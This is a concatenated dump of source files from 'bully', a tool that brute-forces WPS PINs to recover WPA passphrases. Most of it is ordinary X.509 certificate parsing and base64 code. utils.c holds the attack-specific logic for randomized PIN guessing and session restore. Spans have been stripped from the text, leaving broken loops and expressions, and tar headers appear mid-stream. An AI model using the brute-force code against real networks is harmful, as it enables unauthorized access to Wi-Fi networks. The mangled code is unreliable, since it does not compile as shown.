x509_certificate_parse - Parse a X.509 certificate in DER format * @buf: Pointer to the X.509 certificate in DER format * @len: Buffer length * Returns: Pointer to the parsed certificate or %NULL on failure * * Caller is responsible for freeing the returned certificate by calling * x509_certificate_free(). */ struct x509_certificate * x509_certificate_parse(const u8 *buf, size_t len) { struct asn1_hdr hdr; const u8 *pos, *end, *hash_start; struct x509_certificate *cert; cert = os_zalloc(sizeof(*cert) + len); if (cert == NULL) return NULL; os_memcpy(cert + 1, buf, len); cert->cert_start = (u8 *) (cert + 1); cert->cert_len = len; pos = buf; end = buf + len; /* RFC 3280 - X.509 v3 certificate / ASN.1 DER */ /* Certificate ::= SEQUENCE */ if (asn1_get_next(pos, len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Certificate did not start with " "a valid SEQUENCE - found class %d tag 0x%x", hdr.class, hdr.tag); x509_certificate_free(cert); return NULL; } pos = hdr.payload; if (pos + hdr.length > end) { x509_certificate_free(cert); return NULL; } if (pos + hdr.length < end) { wpa_hexdump(MSG_MSGDUMP, "X509: Ignoring extra data after DER " "encoded certificate", pos + hdr.length, end - pos + hdr.length); end = pos + hdr.length; } hash_start = pos; cert->tbs_cert_start = cert->cert_start + (hash_start - buf); if (x509_parse_tbs_certificate(pos, end - pos, cert, &pos)) { x509_certificate_free(cert); return NULL; } cert->tbs_cert_len = pos - hash_start; /* signatureAlgorithm AlgorithmIdentifier */ if (x509_parse_algorithm_identifier(pos, end - pos, &cert->signature_alg, &pos)) { x509_certificate_free(cert); return NULL; } /* signatureValue BIT STRING */ if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_BITSTRING) { wpa_printf(MSG_DEBUG, "X509: Expected BITSTRING " "(signatureValue) - found class %d tag 0x%x", hdr.class, hdr.tag); x509_certificate_free(cert); return NULL; } if (hdr.length < 1) { x509_certificate_free(cert); return NULL; } pos = hdr.payload; if (*pos) { wpa_printf(MSG_DEBUG, "X509: BITSTRING - %d unused bits", *pos); /* PKCS #1 v1.5 10.2.1: * It is an error if the length in bits of the signature S is * not a multiple of eight. */ x509_certificate_free(cert); return NULL; } os_free(cert->sign_value); cert->sign_value = os_malloc(hdr.length - 1); if (cert->sign_value == NULL) { wpa_printf(MSG_DEBUG, "X509: Failed to allocate memory for " "signatureValue"); x509_certificate_free(cert); return NULL; } os_memcpy(cert->sign_value, pos + 1, hdr.length - 1); cert->sign_value_len = hdr.length - 1; wpa_hexdump(MSG_MSGDUMP, "X509: signature", cert->sign_value, cert->sign_value_len); return cert; } /** * x509_certificate_check_signature - Verify certificate signature * @issuer: Issuer certificate * @cert: Certificate to be verified * Returns: 0 if cert has a valid signature that was signed by the issuer, * -1 if not */ int x509_certificate_check_signature(struct x509_certificate *issuer, struct x509_certificate *cert) { struct crypto_public_key *pk; u8 *data; const u8 *pos, *end, *next, *da_end; size_t data_len; struct asn1_hdr hdr; struct asn1_oid oid; u8 hash[32]; size_t hash_len; if (!x509_pkcs_oid(&cert->signature.oid) || cert->signature.oid.len != 7 || cert->signature.oid.oid[5] != 1 /* pkcs-1 */) { wpa_printf(MSG_DEBUG, "X509: Unrecognized signature " "algorithm"); return -1; } pk = crypto_public_key_import(issuer->public_key, issuer->public_key_len); if (pk == NULL) return -1; data_len = cert->sign_value_len; data = os_malloc(data_len); if (data == NULL) { crypto_public_key_free(pk); return -1; } if (crypto_public_key_decrypt_pkcs1(pk, cert->sign_value, cert->sign_value_len, data, &data_len) < 0) { wpa_printf(MSG_DEBUG, "X509: Failed to decrypt signature"); crypto_public_key_free(pk); os_free(data); return -1; } crypto_public_key_free(pk); wpa_hexdump(MSG_MSGDUMP, "X509: Signature data D", data, data_len); /* * PKCS #1 v1.5, 10.1.2: * * DigestInfo ::= SEQUENCE { * digestAlgorithm DigestAlgorithmIdentifier, * digest Digest * } * * DigestAlgorithmIdentifier ::= AlgorithmIdentifier * * Digest ::= OCTET STRING * */ if (asn1_get_next(data, data_len, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " "(DigestInfo) - found class %d tag 0x%x", hdr.class, hdr.tag); os_free(data); return -1; } pos = hdr.payload; end = pos + hdr.length; /* * X.509: * AlgorithmIdentifier ::= SEQUENCE { * algorithm OBJECT IDENTIFIER, * parameters ANY DEFINED BY algorithm OPTIONAL * } */ if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_SEQUENCE) { wpa_printf(MSG_DEBUG, "X509: Expected SEQUENCE " "(AlgorithmIdentifier) - found class %d tag 0x%x", hdr.class, hdr.tag); os_free(data); return -1; } da_end = hdr.payload + hdr.length; if (asn1_get_oid(hdr.payload, hdr.length, &oid, &next)) { wpa_printf(MSG_DEBUG, "X509: Failed to parse digestAlgorithm"); os_free(data); return -1; } if (x509_sha1_oid(&oid)) { if (cert->signature.oid.oid[6] != 5 /* sha-1WithRSAEncryption */) { wpa_printf(MSG_DEBUG, "X509: digestAlgorithm SHA1 " "does not match with certificate " "signatureAlgorithm (%lu)", cert->signature.oid.oid[6]); os_free(data); return -1; } goto skip_digest_oid; } if (x509_sha256_oid(&oid)) { if (cert->signature.oid.oid[6] != 11 /* sha2561WithRSAEncryption */) { wpa_printf(MSG_DEBUG, "X509: digestAlgorithm SHA256 " "does not match with certificate " "signatureAlgorithm (%lu)", cert->signature.oid.oid[6]); os_free(data); return -1; } goto skip_digest_oid; } if (!x509_digest_oid(&oid)) { wpa_printf(MSG_DEBUG, "X509: Unrecognized digestAlgorithm"); os_free(data); return -1; } switch (oid.oid[5]) { case 5: /* md5 */ if (cert->signature.oid.oid[6] != 4 /* md5WithRSAEncryption */) { wpa_printf(MSG_DEBUG, "X509: digestAlgorithm MD5 does " "not match with certificate " "signatureAlgorithm (%lu)", cert->signature.oid.oid[6]); os_free(data); return -1; } break; case 2: /* md2 */ case 4: /* md4 */ default: wpa_printf(MSG_DEBUG, "X509: Unsupported digestAlgorithm " "(%lu)", oid.oid[5]); os_free(data); return -1; } skip_digest_oid: /* Digest ::= OCTET STRING */ pos = da_end; end = data + data_len; if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_OCTETSTRING) { wpa_printf(MSG_DEBUG, "X509: Expected OCTETSTRING " "(Digest) - found class %d tag 0x%x", hdr.class, hdr.tag); os_free(data); return -1; } wpa_hexdump(MSG_MSGDUMP, "X509: Decrypted Digest", hdr.payload, hdr.length); switch (cert->signature.oid.oid[6]) { case 4: /* md5WithRSAEncryption */ md5_vector(1, &cert->tbs_cert_start, &cert->tbs_cert_len, hash); hash_len = 16; wpa_hexdump(MSG_MSGDUMP, "X509: Certificate hash (MD5)", hash, hash_len); break; case 5: /* sha-1WithRSAEncryption */ sha1_vector(1, &cert->tbs_cert_start, &cert->tbs_cert_len, hash); hash_len = 20; wpa_hexdump(MSG_MSGDUMP, "X509: Certificate hash (SHA1)", hash, hash_len); break; case 11: /* sha256WithRSAEncryption */ sha256_vector(1, &cert->tbs_cert_start, &cert->tbs_cert_len, hash); hash_len = 32; wpa_hexdump(MSG_MSGDUMP, "X509: Certificate hash (SHA256)", hash, hash_len); break; case 2: /* md2WithRSAEncryption */ case 12: /* sha384WithRSAEncryption */ case 13: /* sha512WithRSAEncryption */ default: wpa_printf(MSG_INFO, "X509: Unsupported certificate signature " "algorithm (%lu)", cert->signature.oid.oid[6]); os_free(data); return -1; } if (hdr.length != hash_len || os_memcmp(hdr.payload, hash, hdr.length) != 0) { wpa_printf(MSG_INFO, "X509: Certificate Digest does not match " "with calculated tbsCertificate hash"); os_free(data); return -1; } os_free(data); wpa_printf(MSG_DEBUG, "X509: Certificate Digest matches with " "calculated tbsCertificate hash"); return 0; } static int x509_valid_issuer(const struct x509_certificate *cert) { if ((cert->extensions_present & X509_EXT_BASIC_CONSTRAINTS) && !cert->ca) { wpa_printf(MSG_DEBUG, "X509: Non-CA certificate used as an " "issuer"); return -1; } if (cert->version == X509_CERT_V3 && !(cert->extensions_present & X509_EXT_BASIC_CONSTRAINTS)) { wpa_printf(MSG_DEBUG, "X509: v3 CA certificate did not " "include BasicConstraints extension"); return -1; } if ((cert->extensions_present & X509_EXT_KEY_USAGE) && !(cert->key_usage & X509_KEY_USAGE_KEY_CERT_SIGN)) { wpa_printf(MSG_DEBUG, "X509: Issuer certificate did not have " "keyCertSign bit in Key Usage"); return -1; } return 0; } /** * x509_certificate_chain_validate - Validate X.509 certificate chain * @trusted: List of trusted certificates * @chain: Certificate chain to be validated (first chain must be issued by * signed by the second certificate in the chain and so on) * @reason: Buffer for returning failure reason (X509_VALIDATE_*) * Returns: 0 if chain is valid, -1 if not */ int x509_certificate_chain_validate(struct x509_certificate *trusted, struct x509_certificate *chain, int *reason) { long unsigned idx; int chain_trusted = 0; struct x509_certificate *cert, *trust; char buf[128]; struct os_time now; *reason = X509_VALIDATE_OK; wpa_printf(MSG_DEBUG, "X509: Validate certificate chain"); os_get_time(&now); for (cert = chain, idx = 0; cert; cert = cert->next, idx++) { x509_name_string(&cert->subject, buf, sizeof(buf)); wpa_printf(MSG_DEBUG, "X509: %lu: %s", idx, buf); if (chain_trusted) continue; if ((unsigned long) now.sec < (unsigned long) cert->not_before || (unsigned long) now.sec > (unsigned long) cert->not_after) { wpa_printf(MSG_INFO, "X509: Certificate not valid " "(now=%lu not_before=%lu not_after=%lu)", now.sec, cert->not_before, cert->not_after); *reason = X509_VALIDATE_CERTIFICATE_EXPIRED; return -1; } if (cert->next) { if (x509_name_compare(&cert->issuer, &cert->next->subject) != 0) { wpa_printf(MSG_DEBUG, "X509: Certificate " "chain issuer name mismatch"); x509_name_string(&cert->issuer, buf, sizeof(buf)); wpa_printf(MSG_DEBUG, "X509: cert issuer: %s", buf); x509_name_string(&cert->next->subject, buf, sizeof(buf)); wpa_printf(MSG_DEBUG, "X509: next cert " "subject: %s", buf); *reason = X509_VALIDATE_CERTIFICATE_UNKNOWN; return -1; } if (x509_valid_issuer(cert->next) < 0) { *reason = X509_VALIDATE_BAD_CERTIFICATE; return -1; } if ((cert->next->extensions_present & X509_EXT_PATH_LEN_CONSTRAINT) && idx > cert->next->path_len_constraint) { wpa_printf(MSG_DEBUG, "X509: pathLenConstraint" " not met (idx=%lu issuer " "pathLenConstraint=%lu)", idx, cert->next->path_len_constraint); *reason = X509_VALIDATE_BAD_CERTIFICATE; return -1; } if (x509_certificate_check_signature(cert->next, cert) < 0) { wpa_printf(MSG_DEBUG, "X509: Invalid " "certificate signature within " "chain"); *reason = X509_VALIDATE_BAD_CERTIFICATE; return -1; } } for (trust = trusted; trust; trust = trust->next) { if (x509_name_compare(&cert->issuer, &trust->subject) == 0) break; } if (trust) { wpa_printf(MSG_DEBUG, "X509: Found issuer from the " "list of trusted certificates"); if (x509_valid_issuer(trust) < 0) { *reason = X509_VALIDATE_BAD_CERTIFICATE; return -1; } if (x509_certificate_check_signature(trust, cert) < 0) { wpa_printf(MSG_DEBUG, "X509: Invalid " "certificate signature"); *reason = X509_VALIDATE_BAD_CERTIFICATE; return -1; } wpa_printf(MSG_DEBUG, "X509: Trusted certificate " "found to complete the chain"); chain_trusted = 1; } } if (!chain_trusted) { wpa_printf(MSG_DEBUG, "X509: Did not find any of the issuers " "from the list of trusted certificates"); if (trusted) { *reason = X509_VALIDATE_UNKNOWN_CA; return -1; } wpa_printf(MSG_DEBUG, "X509: Certificate chain validation " "disabled - ignore unknown CA issue"); } wpa_printf(MSG_DEBUG, "X509: Certificate chain valid"); return 0; } /** * x509_certificate_get_subject - Get a certificate based on Subject name * @chain: Certificate chain to search through * @name: Subject name to search for * Returns: Pointer to the certificate with the given Subject name or * %NULL on failure */ struct x509_certificate * x509_certificate_get_subject(struct x509_certificate *chain, struct x509_name *name) { struct x509_certificate *cert; for (cert = chain; cert; cert = cert->next) { if (x509_name_compare(&cert->subject, name) == 0) return cert; } return NULL; } /** * x509_certificate_self_signed - Is the certificate self-signed? * @cert: Certificate * Returns: 1 if certificate is self-signed, 0 if not */ int x509_certificate_self_signed(struct x509_certificate *cert) { return x509_name_compare(&cert->issuer, &cert->subject) == 0; } bully-1.4-00/src/tls/x509v3.h000077500000000000000000000072721361530463600154640ustar00rootroot00000000000000/* * X.509v3 certificate parsing and processing * Copyright (c) 2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef X509V3_H #define X509V3_H #include "asn1.h" struct x509_algorithm_identifier { struct asn1_oid oid; }; struct x509_name_attr { enum x509_name_attr_type { X509_NAME_ATTR_NOT_USED, X509_NAME_ATTR_DC, X509_NAME_ATTR_CN, X509_NAME_ATTR_C, X509_NAME_ATTR_L, X509_NAME_ATTR_ST, X509_NAME_ATTR_O, X509_NAME_ATTR_OU } type; char *value; }; #define X509_MAX_NAME_ATTRIBUTES 20 struct x509_name { struct x509_name_attr attr[X509_MAX_NAME_ATTRIBUTES]; size_t num_attr; char *email; /* emailAddress */ /* from alternative name extension */ char *alt_email; /* rfc822Name */ char *dns; /* dNSName */ char *uri; /* uniformResourceIdentifier */ u8 *ip; /* iPAddress */ size_t ip_len; /* IPv4: 4, IPv6: 16 */ struct asn1_oid rid; /* registeredID */ }; struct x509_certificate { struct x509_certificate *next; enum { X509_CERT_V1 = 0, X509_CERT_V2 = 1, X509_CERT_V3 = 2 } version; unsigned long serial_number; struct x509_algorithm_identifier signature; struct x509_name issuer; struct x509_name subject; os_time_t not_before; os_time_t not_after; struct x509_algorithm_identifier public_key_alg; u8 *public_key; size_t public_key_len; struct x509_algorithm_identifier signature_alg; u8 *sign_value; size_t sign_value_len; /* Extensions */ unsigned int extensions_present; #define X509_EXT_BASIC_CONSTRAINTS (1 << 0) #define X509_EXT_PATH_LEN_CONSTRAINT (1 << 1) #define X509_EXT_KEY_USAGE (1 << 2) #define X509_EXT_SUBJECT_ALT_NAME (1 << 3) #define X509_EXT_ISSUER_ALT_NAME (1 << 4) /* BasicConstraints */ int ca; /* cA */ unsigned long path_len_constraint; /* pathLenConstraint */ /* KeyUsage */ unsigned long key_usage; #define X509_KEY_USAGE_DIGITAL_SIGNATURE (1 << 0) #define X509_KEY_USAGE_NON_REPUDIATION (1 << 1) #define X509_KEY_USAGE_KEY_ENCIPHERMENT (1 << 2) #define X509_KEY_USAGE_DATA_ENCIPHERMENT (1 << 3) #define X509_KEY_USAGE_KEY_AGREEMENT (1 << 4) #define X509_KEY_USAGE_KEY_CERT_SIGN (1 << 5) #define X509_KEY_USAGE_CRL_SIGN (1 << 6) #define X509_KEY_USAGE_ENCIPHER_ONLY (1 << 7) #define X509_KEY_USAGE_DECIPHER_ONLY (1 << 8) /* * The DER format certificate follows struct x509_certificate. These * pointers point to that buffer. */ const u8 *cert_start; size_t cert_len; const u8 *tbs_cert_start; size_t tbs_cert_len; }; enum { X509_VALIDATE_OK, X509_VALIDATE_BAD_CERTIFICATE, X509_VALIDATE_UNSUPPORTED_CERTIFICATE, X509_VALIDATE_CERTIFICATE_REVOKED, X509_VALIDATE_CERTIFICATE_EXPIRED, X509_VALIDATE_CERTIFICATE_UNKNOWN, X509_VALIDATE_UNKNOWN_CA }; void x509_certificate_free(struct x509_certificate *cert); struct x509_certificate * x509_certificate_parse(const u8 *buf, size_t len); void x509_name_string(struct x509_name *name, char *buf, size_t len); int x509_name_compare(struct x509_name *a, struct x509_name *b); void x509_certificate_chain_free(struct x509_certificate *cert); int x509_certificate_check_signature(struct x509_certificate *issuer, struct x509_certificate *cert); int x509_certificate_chain_validate(struct x509_certificate *trusted, struct x509_certificate *chain, int *reason); struct x509_certificate * x509_certificate_get_subject(struct x509_certificate *chain, struct x509_name *name); int x509_certificate_self_signed(struct x509_certificate *cert); #endif /* X509V3_H */ bully-1.4-00/src/utils.c000077500000000000000000000200531361530463600150270ustar00rootroot00000000000000/* bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP Copyright (C) 2020 kimocoder Copyright (C) 2017 wiire Copyright (C) 2012 Brian Purcell This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . */ char *hex(void *p, int len) { if ((HEXSZ-1)/2 < len) len = (HEXSZ-1)/2; char *out = _xbuf; while (len--) { *out++ = hx[(*uc(p))>>4]; *out++ = hx[(*uc(p))&15]; (u_char*)p++; }; *out = 0; return _xbuf; }; int get_int(char *in, int *out) { int i, o=0, len = strlen(in); for (i=0; i= 'A' && *in <= 'F') *in += 'a'-'A'; if (*in >= '0' && *in <= '9') o += *in - '0'; else if (*in >= 'a' && *in <= 'f') o += *in - 'a' + 10; else return 1; in++; }; *out++ = o; if (len == 17) if (*in == ':' || *in == 0) in++; else return 1; } return 0; }; char *fmt_mac(char *out, uint8 *in) { int i, x=0; char *buf = out; for (i=0; i<6; i++, in++) { *out++ = hx[(*in) >> 4]; *out++ = hx[(*in) & 15]; *out++ = ':'; }; *(--out) = 0; return buf; }; char *init_chans(struct global *G) { int count = 1, i = 0, k; char *ch, *in = G->hop; while (*in != 0) if (*in++ == ',') count++; if (count==1) { G->fixed = 1; G->chanx = 1; }; G->chans = (int*)calloc(count+1, sizeof(int)); G->freqs = (int*)calloc(count+1, sizeof(int)); if (!G->chans || !G->freqs) { fprintf(stderr, "Memory allocation error\n"); exit(2); }; G->chans[0] = G->freqs[0] = count; in = G->hop; while (i++ < count) { ch = in; while (*ch!=',' && *ch!=0) ch++; *ch = 0; if (get_int(in, &G->chans[i])) return in; for (k=0; kchans[i] == freqs[k].chan) { G->freqs[i] = freqs[k].freq; G->index[G->chans[i]] = i; goto init_next; }; return in; init_next: in = ch+1; }; return NULL; }; void init_pins(struct global *G) { FILE *pf; int i, j, t; uint8 *f, *cp; G->pin1 = calloc(sizeof(int16), 10000); if (!G->pin1) { pin_err: vprint("[X] Couldn't allocate memory for randomized pins\n"); exit(2); }; G->pin2 = calloc(sizeof(int16), 10000); if (!G->pin2) goto pin_err; if ((pf = fopen(G->pinf, "r")) == 0) { if ((pf = fopen(G->pinf, "w")) == 0) { vprint("[X] Couldn't create pin file '%s'\n", G->pinf); exit(8); }; vprint("[!] Creating new randomized pin file '%s'\n", G->pinf); #ifdef HAVE_LUA if (G->luavm) vprint("[!] Using lua script '%s'\n", G->luaf); #endif for (i=0; i<10000; i++) G->pin1[i] = i; for (i=0; i<10000; i++) if (G->pin1[i] == i) { while ((j = random() % 10000) == i); t = G->pin1[j]; G->pin1[j] = G->pin1[i]; G->pin1[i] = t; }; for (i=0; i<10000; i++) G->pin2[i] = i; for (i=0; i<10000; i++) if (G->pin2[i] == i) { while ((j = random() % 10000) == i); t = G->pin2[j]; G->pin2[j] = G->pin2[i]; G->pin2[i] = t; }; #ifdef HAVE_LUA if (G->luaf && G->luavm) { int top, numres, numvalid = 0; uint32 *pins; lua_getglobal(G->luavm, "main"); top = lua_gettop(G->luavm); lua_pcall(G->luavm, 0, LUA_MULTRET, 0); numres = lua_gettop(G->luavm) - top + 1; pins = malloc(sizeof(uint32) * numres); if (pins == 0) goto pin_err; while (numres--) { if (!lua_isnumber(G->luavm, -1)) { lua_pop(G->luavm, 1); continue; }; pins[numvalid] = lua_tonumber(G->luavm, -1); lua_pop(G->luavm, 1); numvalid++; }; vprint("[!] List of generated pins '"); for (i = numvalid; i--; ) { vprint("%u", pins[i]); if (i != 0) vprint(", "); } vprint("'\n"); for (i = numvalid; i--; ) { int fhalf = pins[i] / 10000; for (j = 0; j < 10000; j++) { if (G->pin1[j] == fhalf) { G->pin1[j] = G->pin1[0 + numvalid - i - 1]; G->pin1[0 + numvalid - i - 1] = fhalf; }; }; // TODO issue with 2 identical halves? int shalf = pins[i] % 10000; for (j = 0; j < 10000; j++) { if (G->pin2[j] == shalf) { G->pin2[j] = G->pin2[1000 + numvalid - i - 1]; G->pin2[1000 + numvalid - i - 1] = shalf; }; }; }; }; #endif if ((f = calloc(sizeof(uint8), 1000)) == 0) goto pin_err; for (i=0, j=1000; i<1000; i++) { while (f[G->pin2[j]/10]) j++; f[G->pin2[j]/10] = 1; t = G->pin2[j]; G->pin2[j] = G->pin2[i]; G->pin2[i] = t; }; free(f); cp = (uint8*)G->pin1; for (i=0; i<20000; i++) fputc(*cp++, pf); cp = (uint8*)G->pin2; for (i=0; i<20000; i++) fputc(*cp++, pf); fclose(pf); } else { vprint("[+] Loading randomized pins from '%s'\n", G->pinf); cp = (uint8*)G->pin1; for (i=0; i<20000; i++) if ((t = fgetc(pf)) != EOF) *cp++ = t; else { eof_pins: vprint("[X] Random pin file has incorrect size, exiting\n"); exit(8); }; cp = (uint8*)G->pin2; for (i=0; i<20000; i++) if ((t = fgetc(pf)) != EOF) *cp++ = t; else goto eof_pins; if (fgetc(pf) != EOF) goto eof_pins; fclose(pf); for (i=0; i<9999; i++) if (G->pin1[i]<0 || 9999pin1[i] || G->pin1[i]==i) { bad_pins: vprint("[X] Random pin file appears corrupted, exiting\n"); exit(8); }; for (i=0; i<9999; i++) if (G->pin2[i]<0 || 9999pin2[i]) goto bad_pins; }; }; int get_start(struct global *G) { FILE *rf; int index, pin, broken; int pin2max = (G->broken ? 10000 : 1000); int pin2div = (G->broken ? 1 : 10); char *line, *last = "00000000:00000000:0::\n"; char *oldf = malloc(strlen(G->warpath) + 23); strcpy(oldf, G->warpath); strcat(oldf, "/"); strcat(oldf, G->ssids); strcat(oldf, ".run"); if ((rf = fopen(oldf, "r")) != NULL) rename(oldf, G->runf); free(oldf); if ((rf = fopen(G->runf, "r")) == NULL) { if ((rf = fopen(G->runf, "w")) != NULL) { if (!(op_gen_pin == 0)) { fprintf(rf, "# DO NOT MODIFY CONTENTS OF THIS FILE\n# '%s' (%s)\n", G->essid, G->ssids); fclose(rf); }; }; return 0; }; vprint("[!] Restoring session from '%s'\n", G->runf); while ((line = fgets(G->error, 256, rf)) != NULL) last = line; if ((sscanf(last, "%8d:%8d:%1d:", &index, &pin, &broken)) != 3) { vprint("[X] Session save file appears corrupted, exiting\n"); //exit(8); }; if (G->broken) { if (!broken) { vprint("[!] WARNING: WPS checksum was autogenerated in prior session, now bruteforced\n"); if (!G->force) { force_exit: vprint("[X] Use --force to ignore above warning(s) and continue anyway\n"); exit(10); }; }; } else { index /= 10; pin /= 10; if (broken) { vprint("[!] WARNING: WPS checksum was bruteforced in prior session, now autogenerated\n"); if (!G->force) goto force_exit; }; }; if (G->random) { if (index == pin) { vprint("[!] WARNING: Randomized search requested but prior session was sequential\n"); if (!G->force) goto force_exit; } else if (pin != G->pin1[index/pin2max] * pin2max + G->pin2[index%pin2max] / pin2div) { vprint("[!] WARNING: Randomized pin file modified after last run, can't continue\n"); if (!G->force) goto force_exit; }; } else if (index != pin) { vprint("[!] WARNING: Sequential search requested but prior session was randomized\n"); if (!G->force) goto force_exit; }; return index; }; bully-1.4-00/src/utils/000077500000000000000000000000001361530463600146605ustar00rootroot00000000000000bully-1.4-00/src/utils/.gitignore000066400000000000000000000000131361530463600166420ustar00rootroot00000000000000libutils.a bully-1.4-00/src/utils/Makefile000077500000000000000000000007541361530463600163310ustar00rootroot00000000000000all: libutils.a clean: rm -f *~ *.o *.d libutils.a install: @echo Nothing to be made. include ../lib.rules #CFLAGS += -DWPA_TRACE CFLAGS += -DCONFIG_IPV6 LIB_OBJS= \ base64.o \ common.o \ ip_addr.o \ radiotap.o \ trace.o \ uuid.o \ wpa_debug.o \ wpabuf.o # Pick correct OS wrapper implementation LIB_OBJS += os_unix.o # Pick correct event loop implementation LIB_OBJS += eloop.o #LIB_OBJS += pcsc_funcs.o libutils.a: $(LIB_OBJS) $(AR) crT $@ $? -include $(OBJS:%.o=%.d) bully-1.4-00/src/utils/base64.c000077500000000000000000000067671361530463600161330ustar00rootroot00000000000000/* * Base64 encoding/decoding (RFC1341) * Copyright (c) 2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "os.h" #include "base64.h" static const unsigned char base64_table[65] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /** * base64_encode - Base64 encode * @src: Data to be encoded * @len: Length of the data to be encoded * @out_len: Pointer to output length variable, or %NULL if not used * Returns: Allocated buffer of out_len bytes of encoded data, * or %NULL on failure * * Caller is responsible for freeing the returned buffer. Returned buffer is * nul terminated to make it easier to use as a C string. The nul terminator is * not included in out_len. */ unsigned char * base64_encode(const unsigned char *src, size_t len, size_t *out_len) { unsigned char *out, *pos; const unsigned char *end, *in; size_t olen; int line_len; olen = len * 4 / 3 + 4; /* 3-byte blocks to 4-byte */ olen += olen / 72; /* line feeds */ olen++; /* nul termination */ if (olen < len) return NULL; /* integer overflow */ out = os_malloc(olen); if (out == NULL) return NULL; end = src + len; in = src; pos = out; line_len = 0; while (end - in >= 3) { *pos++ = base64_table[in[0] >> 2]; *pos++ = base64_table[((in[0] & 0x03) << 4) | (in[1] >> 4)]; *pos++ = base64_table[((in[1] & 0x0f) << 2) | (in[2] >> 6)]; *pos++ = base64_table[in[2] & 0x3f]; in += 3; line_len += 4; if (line_len >= 72) { *pos++ = '\n'; line_len = 0; } } if (end - in) { *pos++ = base64_table[in[0] >> 2]; if (end - in == 1) { *pos++ = base64_table[(in[0] & 0x03) << 4]; *pos++ = '='; } else { *pos++ = base64_table[((in[0] & 0x03) << 4) | (in[1] >> 4)]; *pos++ = base64_table[(in[1] & 0x0f) << 2]; } *pos++ = '='; line_len += 4; } if (line_len) *pos++ = '\n'; *pos = '\0'; if (out_len) *out_len = pos - out; return out; } /** * base64_decode - Base64 decode * @src: Data to be decoded * @len: Length of the data to be decoded * @out_len: Pointer to output length variable * Returns: Allocated buffer of out_len bytes of decoded data, * or %NULL on failure * * Caller is responsible for freeing the returned buffer. */ unsigned char * base64_decode(const unsigned char *src, size_t len, size_t *out_len) { unsigned char dtable[256], *out, *pos, in[4], block[4], tmp; size_t i, count, olen; os_memset(dtable, 0x80, 256); for (i = 0; i < sizeof(base64_table) - 1; i++) dtable[base64_table[i]] = (unsigned char) i; dtable['='] = 0; count = 0; for (i = 0; i < len; i++) { if (dtable[src[i]] != 0x80) count++; } if (count == 0 || count % 4) return NULL; olen = count / 4 * 3; pos = out = os_malloc(olen); if (out == NULL) return NULL; count = 0; for (i = 0; i < len; i++) { tmp = dtable[src[i]]; if (tmp == 0x80) continue; in[count] = src[i]; block[count] = tmp; count++; if (count == 4) { *pos++ = (block[0] << 2) | (block[1] >> 4); *pos++ = (block[1] << 4) | (block[2] >> 2); *pos++ = (block[2] << 6) | block[3]; count = 0; } } if (pos > out) { if (in[2] == '=') pos -= 2; else if (in[3] == '=') pos--; } *out_len = pos - out; return out; } bully-1.4-00/src/utils/base64.h000077500000000000000000000012331361530463600161170ustar00rootroot00000000000000/* * Base64 encoding/decoding (RFC1341) * Copyright (c) 2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef BASE64_H #define BASE64_h unsigned char * base64_encode(const unsigned char *src, size_t len, size_t *out_len); unsigned char * base64_decode(const unsigned char *src, size_t len, size_t *out_len); #endif /* BASE64_H */ bully-1.4-00/src/utils/build_config.h000077500000000000000000000052261361530463600174650ustar00rootroot00000000000000/* * wpa_supplicant/hostapd - Build time configuration defines * Copyright (c) 2005-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This header file can be used to define configuration defines that were * originally defined in Makefile. This is mainly meant for IDE use or for * systems that do not have suitable 'make' tool. In these cases, it may be * easier to have a single place for defining all the needed C pre-processor * defines. */ #ifndef BUILD_CONFIG_H #define BUILD_CONFIG_H /* Insert configuration defines, e.g., #define EAP_MD5, here, if needed. */ #ifdef CONFIG_WIN32_DEFAULTS #define CONFIG_NATIVE_WINDOWS #define CONFIG_ANSI_C_EXTRA #define CONFIG_WINPCAP #define IEEE8021X_EAPOL #define PKCS12_FUNCS #define PCSC_FUNCS #define CONFIG_CTRL_IFACE #define CONFIG_CTRL_IFACE_NAMED_PIPE #define CONFIG_DRIVER_NDIS #define CONFIG_NDIS_EVENTS_INTEGRATED #define CONFIG_DEBUG_FILE #define EAP_MD5 #define EAP_TLS #define EAP_MSCHAPv2 #define EAP_PEAP #define EAP_TTLS #define EAP_GTC #define EAP_OTP #define EAP_LEAP #define EAP_TNC #define _CRT_SECURE_NO_DEPRECATE #ifdef USE_INTERNAL_CRYPTO #define CONFIG_TLS_INTERNAL_CLIENT #define CONFIG_INTERNAL_LIBTOMMATH #define CONFIG_CRYPTO_INTERNAL #endif /* USE_INTERNAL_CRYPTO */ #endif /* CONFIG_WIN32_DEFAULTS */ #ifdef __SYMBIAN32__ #define OS_NO_C_LIB_DEFINES #define 